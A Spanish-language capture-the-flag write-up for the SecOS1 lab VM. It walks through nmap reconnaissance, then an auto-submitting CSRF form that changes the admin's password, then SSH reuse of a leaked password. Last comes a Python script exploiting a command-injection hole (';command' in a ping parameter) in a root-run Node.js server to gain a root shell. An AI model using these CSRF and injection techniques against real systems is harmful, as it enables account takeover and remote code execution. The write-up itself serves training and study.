Solucionario SecOS1 [Q]3rV[0]
Author: [Q]3rV[0] Web:http://q3rv0.com.ar Twitter:@Q3rv0
Como primer instancia se pone a correr la maquina virtual SecOS1 con Virtualbox en modo puente con la interfaz eth0.
Una vez que la maquina se encuentra up podemos ver que se trata de un OS ubuntu 14.04.
Procederemos por realizar un sondeo Ping en la net 192.168.1.0/24 en busca de maquinas activas y asi dar con la direccion real del entorno. >nmap vv sP n T4 192.168.1.0/24
De esta manera hemos identificado al objetivo cuya ip es 192.168.1.35.
Se realiza un sondeo de puertos tipo SYN scan en la maquina objetivo para indagar sobre los servicios que esta sirviendo. >nmap vv n Pn sS T4 192.168.1.35
Encontramos dos puerto TCP abiertos, el 22 y el 8081.
Se prosigue por realizar una identificacion de banners en los puertos abiertos, para obtener una mejor vista de los servicios en la busqueda de vulnerabilidades. >nmap vv n Pn sV p22,8081 T4 192.168.1.35
Ahora podemos identificar un servidor HTTP en el puerto 8081, que aparentemente corre con tecnologia nodeJS.
Conectamos al servidor en el puerto 8081.
Como vemos en la pagina de inicio nos presenta el objetivo del reto: leer el archivo /root/flag.txt. Ademas se encuentra un enlace a un formulario de login y a un signup. Crearemos un usuario y nos loguearemos en la aplicacion para ver que encontramos.
Una vez logueados dentro de la aplicacion, en /users comprobamos la existencia del usuario spiderman el cual posee privilegios de administrador. Hasta el momento se realizo todo tipo de fuzzing a los parametros sin encontrar ningun tipo de vulnerabilidad latente, siempre en estos retos tan cerrados es bueno mirar el source en busca de comentarios que puedan darnos alguna pista de como sigue la historia.
En el source de la pagina de inicio se puede ver un enlace comentado.
vamos a /hint y vemos la siguiente frase. Are you sure there's something to see here?
Miramos en el source y comentado encontramos una pequeña ayuda. First: the admin visits the website (really) frequently Second: He runs it locally, on 127.0.0.1. Third: CSRF and /(http:\/\/[\/\.\w:09\?&]+)/gi, I think that's enough
Por lo tanto ahora ya tenemos un punto de partida para escalar privilegios y convertirnos en el usuario spiderman.
Dentro del login tenemos un formulario para cambiar nuestro password, el cual no se encuentra protegido por un token, por lo tanto es vulnerable a un ataque de CSRF.
Como sabemos mediante las pistas: El admin visita el sitio frecuentemente. Corre en local, en 127.0.0.1. Nos muestran una expresion regular que concuerda con la de una url.
Se prosigue por armar un vector para explotar el CSRF y cambiar el password del usuario spiderman. <body onload="changepass()"> <form name="form1" action="http://127.0.0.1:8081/changepassword" method="POST"> <input type="text" name="password" value="q3rv0"> </form> <script type="text/javascript"> function changepass(){ document.form1.submit(); } </script>
Si nos fijamos bien en el action del formulario se indica la ip en local(127.0.0.1). Lo montamos y enviamos el link.
Ahora hemos logrado cambiar el password de spiderman por “q3rv0” y loguearnos como admin en la aplicacion.
Como podemos ver en lo mensajes que envio el usuario pirate se encuentra la anterior password de spiderman: CrazyPassword!
Podriamos probar de establecer una sesion por ssh mediante el mismo pass.
Efectivamente ya tenemos una sesion en la maquina objetivo, pero todavia nos falta obtener privilegios de Super Usuario en el sistema. Si le echamos un vistazo a la version del kernel Linux SecOS1 3.13.024generic #46Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 athlon i686 GNU/Linux
Enseguida deducimos que se trata de una version segura, por lo tanto no encontraremos por el momento algun exploit a mano.
Lo mejor que podemos hacer en estos casos es realizar un analisis de post expotacion en busca de procesos que esten corriendo como root en el sistema. >ps aux|grep root
Encontramos un script en nodejs que corre como root y se encuentra en el home del usuario spiderman. sudo u root sh c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
Analizemos el codigo del script. var fs = require('fs'); var express = require('express'); var http = require('http'); var sys = require('sys') var exec = require('child_process').exec; var crypto = require('crypto'); var utils = require('./lib/utils.js'); var model = require('./lib/model.js'); var app = express(); var server = http.createServer(app); var logger = function (req, res, next) { console.log(req.connection.remoteAddress + " tried to access : " + req.url); next(); // Passing the request to the next handler in the stack. } // Configuration app.configure(function () { // Session management app.use(express.cookieParser()); app.use(express.session({secret: 'privateKeyForSession'})); app.use("/js", express.static(__dirname + '/public/js')); // javascript folder app.use("/css", express.static(__dirname + '/public/css')); // javascript folder app.set('views', __dirname + '/views'); // views folder app.set('view engine', 'ejs'); // view engine for this projet : ejs app.use(express.bodyParser()); // for POST Requests app.use(logger); // Here you add your logger to the stack. app.use(app.router); // The Express routes handler. }); app.get('/', function (req, res) { res.render('ping.ejs', { isConnected: req.session.isConnected, isAdmin: req.session.isAdmin }); }); // Update password
app.post('/', function (req, res) { ip = req.body.ip if (ip == "") { utils.redirect(req, res, '/pingstatus'); } else { // getting the command with req.params.command var child; // console.log(req.params.command); child = exec('ping ' + ip, function (error, stdout, stderr) { res.render('ping.ejs', { isConnected: req.session.isConnected, message: stdout, isAdmin: req.session.isAdmin }); }); } }); server.listen(9000, '127.0.0.1', function() { console.log("Listening on port 9000"); });
Como vemos se trata de un servidor interno en nodeJS corriendo sobre el puerto 9000. server.listen(9000, '127.0.0.1', function() { console.log("Listening on port 9000"); }
Que usa la funcion exec para realizar un ping a la direccion que se le pase a travez del parametro ip, el cual no se encuentra sanitizado. child = exec('ping ' + ip, function (error, stdout, stderr) {
Si realizamos una peticion con curl al servidor. >curl localhost:9000 <form class="formsignin" action="/" method="POST"> <h4 class="formsigninheading">Enter the IP you want to ping</h4> <input type="text" class="inputblocklevel" placeholder="127.0.0.1" name="ip"><br /> <button class="btn btnlarge btnprimary" type="submit">Ping !</button></form>
Tenemos una vista del formulario interno. Aprovechando ese mal filtrado podemos llevar a cabo un RCE (ejecucion remota de comandos), simplemente pasando a travez de la variable ip el siguiente valor: ip=; comando. Para dicha tarea programe un exploit en python que se encarga de darnos una shell con privilegios de Super Usuario. #!/usr/bin/python #RCE exploit by [Q]3rV[0] import urllib2, urllib, re host="http://localhost:9000" def rce(host): while 1: try: command=raw_input("root@localhost~# ") params=urllib.urlencode({"ip":";"+command+"; echo 'end'"}) h={"UserAgent":"RCE exploit by [Q]3rV[0]"} connect=urllib2.Request(host, params, headers=h) out=urllib2.urlopen(connect) filter=re.findall(r'\"panelbody\">([\s\S]+)end', out.read()) for f in filter: print f.replace("&gt;", ">") except: pass rce(host)
Lo ejecutamos dentro del server y ya podemos leer el /root/flag.txt
Cumpliendo el objetivo de conseguir el primer flag doy por terminado el solucionario al reto SecOS1. Author: [Q]3rV[0] Web:http://q3rv0.com.ar Twitter:@Q3rv0